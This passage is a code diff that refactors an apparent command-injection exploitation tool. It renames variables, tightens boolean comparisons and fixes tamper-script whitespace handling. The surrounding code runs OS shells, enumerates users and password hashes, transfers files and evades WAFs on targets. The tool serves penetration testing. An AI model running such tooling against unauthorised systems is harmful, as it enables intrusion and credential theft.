payload).replace(random_tag, settings.TESTABLE_VALUE) + masked = data.replace(settings.TESTABLE_VALUE, random_tag) + if settings.TESTABLE_VALUE in masked.replace(settings.INJECT_TAG, ""): + return masked.replace(settings.INJECT_TAG, "").replace(settings.TESTABLE_VALUE, payload).replace(random_tag, settings.TESTABLE_VALUE) else: - return _.replace(random_tag + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, payload).replace(random_tag, settings.TESTABLE_VALUE) + return masked.replace(random_tag + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, payload).replace(random_tag, settings.TESTABLE_VALUE) """ Remove all injection tags from provided data @@ -239,16 +239,16 @@ def process_custom_injection_data(data): Check for custom injection marker character ('*'). """ def custom_injection_marker_character(url, http_request_method): - _ = settings.CUSTOM_INJECTION_MARKER = False + found = settings.CUSTOM_INJECTION_MARKER = False settings.CUSTOM_INJECTION_MARKER_PARAMETERS_LIST = [] if url and settings.CUSTOM_INJECTION_MARKER_CHAR in url: option = "'-u'" - _ = settings.CUSTOM_INJECTION_MARKER = settings.INJECTION_MARKER_LOCATION.URL = True + found = settings.CUSTOM_INJECTION_MARKER = settings.INJECTION_MARKER_LOCATION.URL = True if menu.options.data and settings.CUSTOM_INJECTION_MARKER_CHAR in menu.options.data: option = str(http_request_method) + " body" - _ = settings.CUSTOM_INJECTION_MARKER = settings.INJECTION_MARKER_LOCATION.DATA = True - if not _: + found = settings.CUSTOM_INJECTION_MARKER = settings.INJECTION_MARKER_LOCATION.DATA = True + if not found: option = "option '--header(s)/--user-agent/--referer/--cookie'" # Whether the value carries the marker that says where a payload goes. def has_marker(value): @@ -289,7 +289,7 @@ def has_marker(value): Logging a debug message when a specific injection technique is being skipped. """ def skipping_technique(technique, injection_type, state): - if settings.VERBOSITY_LEVEL != 0 and state != True: + if settings.VERBOSITY_LEVEL != 0 and state is not True: debug_msg = "Skipping the " + technique_label(injection_type, technique) + "." settings.print_data_to_stdout(settings.print_debug_msg(debug_msg)) @@ -954,9 +954,9 @@ def remove_reflected_values(html_data, payload): """ def get_header(headers, key): value = None - for _ in (headers or {}): - if _.upper() == key.upper(): - value = headers[_] + for name in (headers or {}): + if name.upper() == key.upper(): + value = headers[name] break return value @@ -1257,7 +1257,7 @@ def procced_with_file_based_technique(): Map a TCP mode's returned option to an action: 0 stay, 1 back, 2 os_shell, 3 the other mode. """ def check_tcp_mode_result(option, other_mode): - if option == False: + if option is False: return 0 elif option == "back": return 1 @@ -1410,7 +1410,7 @@ def check_CGI_scripts(url): CGI_SCRIPTS = common.load_list_from_file(settings.CGI_SCRIPTS, "CGI scripts list") - _ = False + script_found = False for cgi_script in CGI_SCRIPTS: if cgi_script in url: from src.utils import session_handler @@ -1421,7 +1421,7 @@ def check_CGI_scripts(url): info_msg = "Heuristic (basic) test shows that target URL might be vulnerable to Shellshock " info_msg += "(detected script: '" + cgi_script + "')." - _ = True + script_found = True settings.print_data_to_stdout(settings.print_bold_info_msg(info_msg)) while True: @@ -1439,7 +1439,7 @@ def check_CGI_scripts(url): common.invalid_option(shellshock_check) pass - if not _: + if not script_found: if settings.VERBOSITY_LEVEL != 0: debug_msg = "No known CGI script found, skipping the '--shellshock' module." settings.print_data_to_stdout(settings.print_debug_msg(debug_msg)) @@ -2208,6 +2208,17 @@ def tamper_dep_interpreter_incompatible(tamper_name): if menu.options.interpreter: return "Option '--interpreter' does not support the usage of '" + tamper_name + ".py'. Skipping tamper script." +""" +What separates the payload's words at this point in the run. + +The list is shared and the scripts that substitute whitespace rewrite it as they go, so one of them +undoing its own entry can leave it empty - and a script reading the first entry outright then +raises, which is turned into a critical error and ends the run. Where there is nothing in it, a +plain space is what the payload was built with in the first place. +""" +def current_whitespace(): + return settings.WHITESPACES[0] if len(settings.WHITESPACES) != 0 else settings.SINGLE_WHITESPACE + """ Undo a per-character obfuscation (obf_char inserted before each letter) on any whole word that settings.IGNORE_TAMPER_TRANSFORMATION says must survive intact (e.g. shell keywords like 'if'/'then'). """ @@ -2216,7 +2227,7 @@ def tamper_restore_ignored_words(payload, obf_char): obf_word = "".join(obf_char + char if re.match(settings.TAMPER_MODIFICATION_LETTERS, char) else char for char in word) if obf_word != word and obf_word in payload: payload = payload.replace(obf_word, word) - whitespace = settings.WHITESPACES[0] if len(settings.WHITESPACES) != 0 else settings.SINGLE_WHITESPACE + whitespace = current_whitespace() pattern = r"\b(for|read)" + re.escape(whitespace) + r"((?:" + re.escape(obf_char) + r")?\w(?:(?:" + re.escape(obf_char) + r")?\w)*)" return re.sub(pattern, lambda x: x.group(1) + whitespace + x.group(2).replace(obf_char, ""), payload) @@ -2393,14 +2404,14 @@ def tamper_scripts(stored_tamper_scripts): settings.MULTI_ENCODED_PAYLOAD = sorted_order + [script for script in settings.MULTI_ENCODED_PAYLOAD if script not in priorities] # Using too many tamper scripts is usually not a good idea. :P - _ = False + warn_needed = False if len(provided_scripts) >= 3 and not settings.LOAD_SESSION: warn_msg = "Using too many tamper scripts " - _ = True + warn_needed = True elif len([x for x in provided_scripts if any(y in x for y in ["nested", "doublequotes"])]) == 2 and not settings.LOAD_SESSION: - _ = True + warn_needed = True warn_msg = "The combination of the provided tamper scripts " - if _ and not settings.TAMPER_WARNING_SHOWN: + if warn_needed and not settings.TAMPER_WARNING_SHOWN: settings.TAMPER_WARNING_SHOWN = True warn_msg += "is not a good idea (may cause false positive / negative results)." settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) @@ -2421,32 +2432,32 @@ def _enable_tamper_script(tamper_name): """ def whitespace_check(payload): - _ = [] + present = [] # As they appear in a payload now: written out, and encoded only on the way to the wire. whitespaces = ["${IFS}", "+", "\t", "\v", " "] for whitespace in whitespaces: if whitespace in payload: - _.append(whitespace) + present.append(whitespace) # Enable the "space2ifs" tamper script. - if "${IFS}" in _: + if "${IFS}" in present: _enable_tamper_script('space2ifs') settings.WHITESPACES[0] = "${IFS}" # Enable the "space2plus" tamper script. - elif "+" in _ and payload.count("+") >= 2: + elif "+" in present and payload.count("+") >= 2: _enable_tamper_script('space2plus') settings.WHITESPACES[0] = "+" # Enable the "space2htab" tamper script. - elif "%09" in _: + elif "\t" in present: _enable_tamper_script('space2htab') - settings.WHITESPACES[0] = "%09" + settings.WHITESPACES[0] = "\t" # Enable the "space2vtab" tamper script. - elif "%0b" in _: + elif "\v" in present: _enable_tamper_script('space2vtab') - settings.WHITESPACES[0] = "%0b" + settings.WHITESPACES[0] = "\v" # Default whitespace else : @@ -2565,16 +2576,16 @@ def check_encoders(payload): decoded_payload = _payload encoded_with = "base64" if re.match(settings.HEX_RECOGNITION_REGEX, check_value): - decoded_payload, _ = hexdecode(decoded_payload) - if _: + decoded_payload, decoded = hexdecode(decoded_payload) + if decoded: settings.MULTI_ENCODED_PAYLOAD.append("hexencode") encoded_with = "hex" except Exception: pass elif long_enough and re.match(settings.HEX_RECOGNITION_REGEX, check_value): - decoded_payload, _ = hexdecode(check_value) - if _ and decoded_text_is_plausible(decoded_payload): + decoded_payload, decoded = hexdecode(check_value) + if decoded and decoded_text_is_plausible(decoded_payload): settings.MULTI_ENCODED_PAYLOAD.append("hexencode") encoded_with = "hex" if (len(check_value.strip()) % 4 == 0) and \ @@ -2889,7 +2900,7 @@ def process_data(data_type, http_request_method): def check_similarities(all_params): if settings.IS_JSON: try: - _ = "".join(random.sample(string.ascii_uppercase, k=6)) + placeholder = "".join(random.sample(string.ascii_uppercase, k=6)) flat = flatten(json.loads(','.join(all_params), object_pairs_hook=OrderedDict)) modified = False for param in flat: @@ -2898,10 +2909,10 @@ def check_similarities(all_params): flat[param] = flat[param] + settings.RANDOM_TAG modified = True if settings.SINGLE_WHITESPACE in flat[param]: - flat[param] = flat[param].replace(settings.SINGLE_WHITESPACE, _) + flat[param] = flat[param].replace(settings.SINGLE_WHITESPACE, placeholder) modified = True if modified: - all_params = [x.replace(settings.SINGLE_WHITESPACE, "").replace(_, settings.SINGLE_WHITESPACE) for x in json.dumps(flat).split(", ")] + all_params = [x.replace(settings.SINGLE_WHITESPACE, "").replace(placeholder, settings.SINGLE_WHITESPACE) for x in json.dumps(flat).split(", ")] except Exception: pass else: @@ -2940,9 +2951,9 @@ def generate_char_pool(num_of_chars): """ Print powershell version """ -def print_ps_version(ps_version, filename, _): +def print_ps_version(ps_version, filename, newline_first): ps_version = "".join(str(p) for p in ps_version).strip() - if settings.VERBOSITY_LEVEL == 0 and _: + if settings.VERBOSITY_LEVEL == 0 and newline_first: settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) # A version has a number in it, so an answer without one means the command never ran. Taken as a # version it leaves PowerShell marked as available, and every payload needing it quietly weakens. @@ -2963,9 +2974,9 @@ def print_ps_version(ps_version, filename, _): """ Print hostname """ -def print_hostname(shell, filename, _): +def print_hostname(shell, filename, newline_first): if shell: - if settings.VERBOSITY_LEVEL == 0 and _: + if settings.VERBOSITY_LEVEL == 0 and newline_first: settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) info_msg = "Hostname: " + str(shell) settings.print_data_to_stdout(settings.print_retrieved_data("hostname", shell)) @@ -2978,9 +2989,9 @@ def print_hostname(shell, filename, _): """ Print current user info """ -def print_current_user(cu_account, filename, _): +def print_current_user(cu_account, filename, newline_first): if cu_account: - if settings.VERBOSITY_LEVEL == 0 and _: + if settings.VERBOSITY_LEVEL == 0 and newline_first: settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) info_msg = "Current user: " + str(cu_account) settings.print_data_to_stdout(settings.print_retrieved_data("current user", cu_account)) @@ -2993,13 +3004,13 @@ def print_current_user(cu_account, filename, _): """ Print current user privs """ -def print_current_user_privs(shell, filename, _): +def print_current_user_privs(shell, filename, newline_first): priv = "True" if (settings.TARGET_OS == settings.OS.WINDOWS and not "Admin" in shell) or \ (settings.TARGET_OS != settings.OS.WINDOWS and shell != "0"): priv = "False" - if settings.VERBOSITY_LEVEL == 0 and _: + if settings.VERBOSITY_LEVEL == 0 and newline_first: settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) info_msg = "Current user has elevated privileges: " + str(priv) @@ -3009,9 +3020,9 @@ def print_current_user_privs(shell, filename, _): """ Print OS info """ -def print_os_info(target_os, target_arch, filename, _): +def print_os_info(target_os, target_arch, filename, newline_first): if target_os and target_arch: - if settings.VERBOSITY_LEVEL == 0 and _: + if settings.VERBOSITY_LEVEL == 0 and newline_first: settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) info_msg = "Operating system: " + str(target_os) + settings.SINGLE_WHITESPACE + str(target_arch) settings.print_data_to_stdout(settings.print_retrieved_data("operating system", str(target_os) + settings.SINGLE_WHITESPACE + str(target_arch))) @@ -3083,7 +3094,7 @@ def classify_uid(uid): """ Print users enumeration: a bare '* name' list, plus a per-user privileges section when requested. """ -def print_users(sys_users, filename, _, separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, interpreter): +def print_users(sys_users, filename, newline_first, separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, interpreter): # Windows users enumeration. if settings.TARGET_OS == settings.OS.WINDOWS: @@ -3100,7 +3111,7 @@ def print_users(sys_users, filename, _, separator, TAG, cmd, prefix, suffix, whi if len(sys_users_list) == 0: no_user_enumeration_permission() else: - if settings.VERBOSITY_LEVEL == 0 and _: + if settings.VERBOSITY_LEVEL == 0 and newline_first: settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) info_msg = "operating system" info_msg += " user" + ('s', '')[len(sys_users_list) == 1] @@ -3141,7 +3152,7 @@ def print_users(sys_users, filename, _, separator, TAG, cmd, prefix, suffix, whi for user in range(0, len(sys_users), 3): sys_users_list.append(sys_users[user : user + 3]) if len(sys_users_list) != 0 : - if settings.VERBOSITY_LEVEL == 0 and _: + if settings.VERBOSITY_LEVEL == 0 and newline_first: settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) info_msg = "operating system" info_msg += " user" + ('s', '')[len(sys_users_list) == 1] @@ -3201,12 +3212,12 @@ def print_users(sys_users, filename, _, separator, TAG, cmd, prefix, suffix, whi """ Print users enumeration. """ -def print_passes(sys_passes, filename, _, interpreter): +def print_passes(sys_passes, filename, newline_first, interpreter): if sys_passes: sys_passes = "".join(str(p) for p in sys_passes).strip() sys_passes = sys_passes.replace(settings.SINGLE_WHITESPACE, settings.END_LINE.LF).split() if len(sys_passes) != 0 : - if settings.VERBOSITY_LEVEL == 0 and _: + if settings.VERBOSITY_LEVEL == 0 and newline_first: settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) """ Worked out before the count is announced. Most accounts carry no hash - a '*' or a '!' where @@ -3463,8 +3474,8 @@ def file_readable(separator, timesec, http_request_method, url, vuln_parameter, """ def file_read_status(shell, file_to_read, filename): if shell: - _ = "file contents" - settings.print_data_to_stdout(settings.print_retrieved_data(_, shell)) + label = "file contents" + settings.print_data_to_stdout(settings.print_retrieved_data(label, shell)) logs.add_line(filename, "Extracted content of the file '" + file_to_read + "': " + shell, group="file:" + file_to_read) logs.report_add_file(file_to_read, shell) else: @@ -3481,10 +3492,10 @@ def check_destination(destination, where=None): normalized = destination.replace("\\", "/") # A destination with no trailing filename is a directory, so append the local filename. if os.path.split(normalized)[1] == "": - _ = os.path.split(normalized)[0].rstrip("/") + "/" + os.path.split(where)[1] + resolved = os.path.split(normalized)[0].rstrip("/") + "/" + os.path.split(where)[1] else: - _ = destination - return _ + resolved = destination + return resolved """ Write the content of a local file to a remote destination. @@ -3822,7 +3833,7 @@ def init_oob_channel(): """ def close_oob_channel(): if settings.OOB_CHANNEL is not None: - if not settings.OOB_CHANNEL.seen_any and settings.OOB_STATE != True: + if not settings.OOB_CHANNEL.seen_any and settings.OOB_STATE is not True: warn_msg = "No interaction of any kind reached the out-of-band server, so the channel itself " warn_msg += "was never proven to work. Check the target's egress and the channel's settings." settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) @@ -3899,27 +3910,27 @@ def identified_vulnerable_param(url, technique, injection_type, vuln_parameter, # Check injection state settings.DETECTION_PHASE = False settings.EXPLOITATION_PHASE = True - if settings.COOKIE_INJECTION == True: + if settings.COOKIE_INJECTION is True: header_name = settings.SINGLE_WHITESPACE + settings.COOKIE found_vuln_parameter = vuln_parameter the_type = " parameter" - elif settings.USER_AGENT_INJECTION == True: + elif settings.USER_AGENT_INJECTION is True: header_name = settings.SINGLE_WHITESPACE + settings.USER_AGENT found_vuln_parameter = "" the_type = " HTTP header" - elif settings.REFERER_INJECTION == True: + elif settings.REFERER_INJECTION is True: header_name = settings.SINGLE_WHITESPACE + settings.REFERER found_vuln_parameter = "" the_type = " HTTP header" - elif settings.HOST_INJECTION == True: + elif settings.HOST_INJECTION is True: header_name = settings.SINGLE_WHITESPACE + settings.HOST found_vuln_parameter = "" the_type = " HTTP header" - elif settings.CUSTOM_HEADER_INJECTION == True: + elif settings.CUSTOM_HEADER_INJECTION is True: header_name = settings.SINGLE_WHITESPACE + settings.CUSTOM_HEADER_NAME found_vuln_parameter = "" the_type = " HTTP header" @@ -4020,7 +4031,7 @@ def announce_leftover_file(technique): Finalize injection process """ def finalize(exit_loops, no_result, i, total, injection_type, technique, shell): - if exit_loops == False: + if exit_loops is False: if settings.VERBOSITY_LEVEL == 0: # Finished means a shell was found, or every combination was tried without one. done = bool(shell) or (no_result and total and i >= total) @@ -4123,12 +4134,12 @@ def check_tmp_path(url, timesec, filename, http_request_method, url_time_respons then use the "/tmp/" directory for tempfile-based technique. """ def tfb_controller(no_result, url, timesec, filename, tmp_path, http_request_method, url_time_response): - if no_result == True: + if no_result is True: from src.core.techniques.tempfile_based import tfb_handler path = tmp_path setting_writable_dir(path) call_tfb = tfb_handler.exploitation(url, timesec, filename, tmp_path, http_request_method, url_time_response) - if call_tfb == False: + if call_tfb is False: info_msg = "Resuming the " + settings.INJECTION_TECHNIQUE.FILE_BASED + " tests." settings.print_data_to_stdout(settings.print_info_msg(info_msg)) return call_tfb @@ -4147,10 +4158,10 @@ def use_temp_folder(no_result, url, timesec, filename, http_request_method, url_ if tmp_upload in settings.CHOICE_YES: settings.TEMPFILE_BASED_STATE = True call_tfb = tfb_controller(no_result, url, timesec, filename, tmp_path, http_request_method, url_time_response) - if call_tfb != False: + if call_tfb is not False: return True else: - if no_result == True: + if no_result is True: return False else: return True @@ -4206,7 +4217,7 @@ def time_related_export_injection_results(cmd, separator, output, check_exec_tim settings.print_data_to_stdout(settings.print_info_msg(info_msg)) else: # Could be separator filtration on target host, or simply an invalid/wrong command. - if output != False : + if output is not False : err_msg = "The '" + cmd + "' command did not return any output. This could be due to " err_msg += "'" + separator + "' filtration on the target host, or the command itself " err_msg += "being invalid." diff --git a/src/core/controller/controller.py b/src/core/controller/controller.py index a0cbbf25f4..594ebb427e 100644 --- a/src/core/controller/controller.py +++ b/src/core/controller/controller.py @@ -422,7 +422,7 @@ def code_injections_heuristic_basic(url, http_request_method, check_parameter, p """ def _run_over_languages(exploit): if menu.options.eval_sink != settings.EVAL_ALL_LANGUAGES: - return exploit() != False + return exploit() is not False """ A language the heuristic already recognised is the only one tried. @@ -430,7 +430,7 @@ def _run_over_languages(exploit): establish - and every language tried and rejected costs a full delay on the time-based technique. """ if settings.IDENTIFIED_EVAL_PROBE: - return exploit() != False + return exploit() is not False languages = settings.SUPPORTED_EVAL_LANGUAGES # Whichever the target named for itself goes first - the others still follow, since a header # says what runs the page, not what evaluates a string inside it. @@ -441,7 +441,7 @@ def _run_over_languages(exploit): if len(languages) > 1 and settings.VERBOSITY_LEVEL != 0: debug_msg = "Testing the '" + settings.EVAL_GRAMMAR.LABEL + "' language." settings.print_data_to_stdout(settings.print_debug_msg(debug_msg)) - if exploit() != False: + if exploit() is not False: return True return False @@ -450,7 +450,7 @@ def run_technique(injection_type, technique, state_name, skip_flag_name, tech_le setattr(settings, state_name, None) if not getattr(settings, skip_flag_name): if checks.technique_selected(tech_letter, eval_sink): - setattr(settings, state_name, _run_over_languages(exploit) if eval_sink else exploit() != False) + setattr(settings, state_name, _run_over_languages(exploit) if eval_sink else exploit() is not False) state = getattr(settings, state_name) if state == None or getattr(settings, skip_flag_name): checks.skipping_technique(technique, injection_type, state) @@ -464,7 +464,7 @@ def classic_command_injection_technique(url, timesec, filename, http_request_met # Prove the injection by what the response carries back. def exploit(): result = cb_handler.exploitation(url, timesec, filename, http_request_method, injection_type, technique) - if result != False: + if result is not False: settings.IDENTIFIED_COMMAND_INJECTION = True settings.SKIP_CODE_INJECTIONS = True return result @@ -479,7 +479,7 @@ def dynamic_code_evaluation_technique(url, timesec, filename, http_request_metho # Prove the code injection by what the response carries back. def exploit(): result = eb_handler.exploitation(url, timesec, filename, http_request_method, injection_type, technique) - if result != False: + if result is not False: settings.SKIP_COMMAND_INJECTIONS = True return result run_technique(injection_type, technique, "EVAL_BASED_STATE", "SKIP_CODE_INJECTIONS", "c", exploit, eval_sink=True) @@ -496,7 +496,7 @@ def timebased_technique(url, timesec, filename, http_request_method, url_time_re # Prove the injection by how long the target takes to answer. def exploit(): result = tb_handler.exploitation(url, timesec, filename, http_request_method, url_time_response, injection_type, technique) - if result != False and not eval_sink: + if result is not False and not eval_sink: settings.IDENTIFIED_COMMAND_INJECTION = True return result # Carrying the evaluation sink, this technique is skipped by whatever skips code injection - not @@ -521,7 +521,7 @@ def exploit(): result = tfb_handler.exploitation(url, timesec, filename, checks.default_tmp_path(), http_request_method, url_time_response) else: result = fb_handler.exploitation(url, timesec, filename, http_request_method, url_time_response, injection_type, technique) - if result != False and not eval_sink: + if result is not False and not eval_sink: settings.IDENTIFIED_COMMAND_INJECTION = True return result # Carrying the evaluation sink, this technique is skipped by whatever skips code injection - not @@ -538,7 +538,7 @@ def oob_command_injection_technique(url, timesec, filename, http_request_method) # Prove the injection by the target reaching out to somewhere else. def exploit(): result = oob_handler.exploitation(url, timesec, filename, http_request_method, injection_type, technique) - if result != False: + if result is not False: settings.IDENTIFIED_COMMAND_INJECTION = True return result run_technique(injection_type, technique, "OOB_STATE", "SKIP_OOB_INJECTIONS", "o", exploit) @@ -940,13 +940,13 @@ def _run_techniques(): end_detection = _run_techniques() # Nothing got through while a protection is in the way, so reach for a heavier evasion and # give the techniques another go - being blocked throughout is the answer this waits for. - while not end_detection and checks.injection_techniques_status() == False and \ + while not end_detection and checks.injection_techniques_status() is False and \ settings.WAF_ENABLED and checks.escalate_waf_evasion(on_block=False): settings.WAF_EVASION_ESCALATED = False end_detection = _run_techniques() # All injection techniques seems to be failed! - if checks.injection_techniques_status() == False: + if checks.injection_techniques_status() is False: warn_msg = settings.CHECKING_PARAMETER warn_msg += " does not seem to be injectable." settings.print_data_to_stdout(settings.print_bold_warning_msg(warn_msg)) @@ -1193,7 +1193,7 @@ def has_stored_session(check_param): def get_request(url, http_request_method, filename, timesec): found_url = parameters.do_GET_check(url, http_request_method) - if found_url != False: + if found_url is not False: do_injection(found_url, settings.HTTPMETHOD.GET, url, http_request_method, filename, timesec) """ diff --git a/src/core/controller/enumeration.py b/src/core/controller/enumeration.py index c50059ce87..10def3b5b7 100755 --- a/src/core/controller/enumeration.py +++ b/src/core/controller/enumeration.py @@ -135,7 +135,7 @@ def system_users(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timese def system_passwords(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, interpreter, filename, url_time_response, technique): injector = execution.select_injector(technique) cmd = settings.SYS_PASSES - drop_false = lambda sys_passes: "" if sys_passes == False else sys_passes + drop_false = lambda sys_passes: "" if sys_passes is False else sys_passes execute_cmd = execution.make_execute_cmd(injector, separator, maxlen, TAG, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, interpreter, filename, url_time_response, technique, OUTPUT_TEXTFILE, postprocess_time=drop_false) sys_passes, fresh = execute_cmd(cmd) checks.print_passes(sys_passes, filename, settings.TIME_RELATED_ATTACK and fresh, interpreter) diff --git a/src/core/controller/handler.py b/src/core/controller/handler.py index b475326059..6dfda92d4b 100755 --- a/src/core/controller/handler.py +++ b/src/core/controller/handler.py @@ -156,7 +156,7 @@ def pseudo_terminal_shell_generic(url, filename, technique, no_result, execute_c go_back = False go_back_again = False while True: - if go_back == True: + if go_back is True: break # --os-shell opens later, at quit(). if force_enter: @@ -192,7 +192,7 @@ def pseudo_terminal_shell_generic(url, filename, technique, no_result, execute_c if cmd.lower() == "quit" or cmd.lower() == "exit": cleanup() go_back, go_back_again = shell_options.check_option_generic(execute_cmd, cmd, go_back, go_back_again, filename, url, separator) - if go_back and go_back_again == False: + if go_back and go_back_again is False: break if go_back and go_back_again: return True @@ -703,11 +703,11 @@ def do_time_related_process(url, timesec, filename, http_request_method, url_tim exec_time = 0 timesec = checks.time_related_timesec() - if settings.TIME_RELATED_ATTACK == False: + if settings.TIME_RELATED_ATTACK is False: settings.TIME_RELATED_ATTACK = None # Check if defined "--url-reload" option. - if menu.options.url_reload == True: + if menu.options.url_reload is True: checks.reload_url_msg(technique) # Check if defined "--maxlen" option. @@ -925,7 +925,7 @@ def do_time_related_process(url, timesec, filename, http_request_method, url_tim except Exception: if num_of_chars >= total: - if no_result == True: + if no_result is True: checks.injection_process(injection_type, technique, done=True) else: settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) @@ -936,7 +936,7 @@ def do_time_related_process(url, timesec, filename, http_request_method, url_tim # Yaw, got shellz! # Do some magic tricks! if checks.time_related_shell(exec_time, timesec): - if (len(TAG) == output_length) and (possibly_vulnerable == True or resumed and int(is_vulnerable) == settings.INJECTION_LEVEL): + if (len(TAG) == output_length) and (possibly_vulnerable is True or resumed and int(is_vulnerable) == settings.INJECTION_LEVEL): found = True no_result = False # Export session @@ -989,7 +989,7 @@ def do_results_based_process(url, timesec, filename, http_request_method, inject try: import html unescape = html.unescape - except: # Python 2 + except ImportError: # Python 2 unescape = _html_parser.HTMLParser().unescape from src.core.techniques.classic import cb_injector as injector from src.core.techniques.classic import cb_payloads as payloads @@ -1151,7 +1151,7 @@ def do_results_based_process(url, timesec, filename, http_request_method, inject except _urllib.error.HTTPError as e: if str(e.getcode()) == settings.NOT_FOUND_ERROR: - if settings.CALL_TMP_BASED == True: + if settings.CALL_TMP_BASED is True: exit_loops = True dest_dir = os.path.dirname(menu.options.file_dest.replace("\\", "/")) tmp_path = checks.normalize_target_dir(dest_dir) @@ -1159,7 +1159,7 @@ def do_results_based_process(url, timesec, filename, http_request_method, inject raise # Show an error message, after N failed tries. # Use the "/tmp/" directory for tempfile-based technique. - elif (i == failed_tries and no_result == True) or (i == total): + elif (i == failed_tries and no_result is True) or (i == total): # Offered before giving up rather than instead of the last combinations: where # there are fewer of those than '--failed-tries' allows, every one of them is # still tried, and the temporary directory is what follows them failing. diff --git a/src/core/controller/injector.py b/src/core/controller/injector.py index c0b11d4263..9f5391c414 100755 --- a/src/core/controller/injector.py +++ b/src/core/controller/injector.py @@ -50,7 +50,7 @@ def _abort_executor(executor, exc): How many output positions a time-related retrieval resolves at once. """ def retrieval_concurrency(): - if settings.THREADS > 1 and _THREADS_SUPPORTED and settings.THREADED_TIME_RETRIEVAL_CHOICE != False: + if settings.THREADS > 1 and _THREADS_SUPPORTED and settings.THREADED_TIME_RETRIEVAL_CHOICE is not False: return settings.THREADS return 1 @@ -253,7 +253,7 @@ def _adjust_time_delay(exec_time, lower_limit): # strength of the quick answers, the delay stops standing out from the slow ones at all. if settings.THREADS > 1: return - if settings.ADJUST_TIME_DELAY_DISABLED or settings.ADJUST_TIME_DELAY_CHOICE == False: + if settings.ADJUST_TIME_DELAY_DISABLED or settings.ADJUST_TIME_DELAY_CHOICE is False: return # Never below the floor 'time_related_timesec()' holds every other caller to, or the # delay is shortened past the point the payload's own cost can be told apart from it. @@ -568,7 +568,7 @@ def _validate_boundary(candidate): break revalidations += 1 settings.print_data_to_stdout(settings.print_error_msg("Invalid length detected. Retrying..")) - if settings.ADJUST_TIME_DELAY_CHOICE != False: + if settings.ADJUST_TIME_DELAY_CHOICE is not False: timesec = settings.CALIBRATED_TIMESEC = _escalated_delay(timesec) warn_msg = "Increasing time delay to " + str(timesec) + " second" + ("s" if timesec > 1 else "") + "." settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) @@ -598,12 +598,12 @@ def _validate_boundary(candidate): warn_msg = "The detected output length may be unreliable due to connection instability. Consider re-running to confirm it." settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) - if _cached_length is None and found_chars == True and output_length > 1: + if _cached_length is None and found_chars is True and output_length > 1: info_msg = "Retrieved length: " + str(output_length) settings.print_data_to_stdout(settings.print_info_msg(info_msg)) # Every character costs its own requests, so a long output is worth confirming first. - if found_chars == True and output_length > settings.LARGE_OUTPUT_THRESHOLD: + if found_chars is True and output_length > settings.LARGE_OUTPUT_THRESHOLD: workers = retrieval_concurrency() message = "The output is " + str(output_length) + " characters long and is recovered " message += "one character at a time" if workers == 1 else str(workers) + " characters at a time" @@ -614,7 +614,7 @@ def _validate_boundary(candidate): return 0, "" # Proceed with the next (injection) step! - if found_chars == True : + if found_chars is True : if settings.TARGET_OS == settings.OS.WINDOWS: cmd = previous_cmd num_of_chars = output_length + 1 @@ -831,7 +831,7 @@ def _bisect_chars(force_full=False): nothing and left out of that loop, it got no second chance at all, while a position that answered wrongly got fifteen. """ - if ascii_char is None and settings.ADJUST_TIME_DELAY_CHOICE != False: + if ascii_char is None and settings.ADJUST_TIME_DELAY_CHOICE is not False: undelayed_retries = 0 before_escalation = timesec while ascii_char is None and undelayed_retries < settings.MAX_LENGTH_REVALIDATIONS: @@ -903,7 +903,7 @@ def _validate_char_boundary(candidate): break revalidations += 1 settings.print_data_to_stdout(settings.print_error_msg("Invalid character detected. Retrying.")) - if settings.ADJUST_TIME_DELAY_CHOICE != False: + if settings.ADJUST_TIME_DELAY_CHOICE is not False: with timesec_lock: timesec = settings.CALIBRATED_TIMESEC = _escalated_delay(timesec) new_timesec = my_escalation = timesec @@ -987,7 +987,7 @@ def _validate(candidate, local_timesec): return num_of_chars, None, True revalidations += 1 settings.print_data_to_stdout(settings.print_error_msg("Invalid character detected. Retrying.")) - if settings.ADJUST_TIME_DELAY_CHOICE != False: + if settings.ADJUST_TIME_DELAY_CHOICE is not False: with timesec_lock: timesec = settings.CALIBRATED_TIMESEC = _escalated_delay(timesec) candidate = _bisect(timesec) @@ -1113,18 +1113,18 @@ def check_injection(separator, TAG, cmd, prefix, suffix, whitespace, http_reques else: payload = payloads.cmd_execution(separator, cmd, OUTPUT_TEXTFILE) if settings.VERBOSITY_LEVEL != 0: - _ = cmd + shown_cmd = cmd if technique == settings.INJECTION_TECHNIQUE.FILE_BASED or technique == settings.INJECTION_TECHNIQUE.TEMP_FILE_BASED: payload_msg = payload if settings.COMMENT in payload_msg: payload = payload.split(settings.COMMENT)[0].strip() payload_msg = payload_msg.split(settings.COMMENT)[0].strip() if settings.COMMENT in cmd: - _ = cmd.split(settings.COMMENT)[0].strip() + shown_cmd = cmd.split(settings.COMMENT)[0].strip() # The trace of what is actually being run, which for an internal command is the only word of # it - but a command the user asked for on the command line has just been named already. - if _ != menu.options.os_cmd: - debug_msg = "Executing the '" + _ + "' command." + if shown_cmd != menu.options.os_cmd: + debug_msg = "Executing the '" + shown_cmd + "' command." settings.print_data_to_stdout(settings.print_debug_msg(debug_msg)) response, vuln_parameter, payload, prefix, suffix = requests.perform_injection(prefix, suffix, whitespace, payload, vuln_parameter, http_request_method, url) return response @@ -1418,14 +1418,14 @@ def custom_web_root(url, OUTPUT_TEXTFILE): Evaluate test results. """ def injection_test_results(response, TAG, randvcalc, technique, payload=None): - if type(response) is bool and response != True or response is None: + if type(response) is bool and response is not True or response is None: return False if technique == 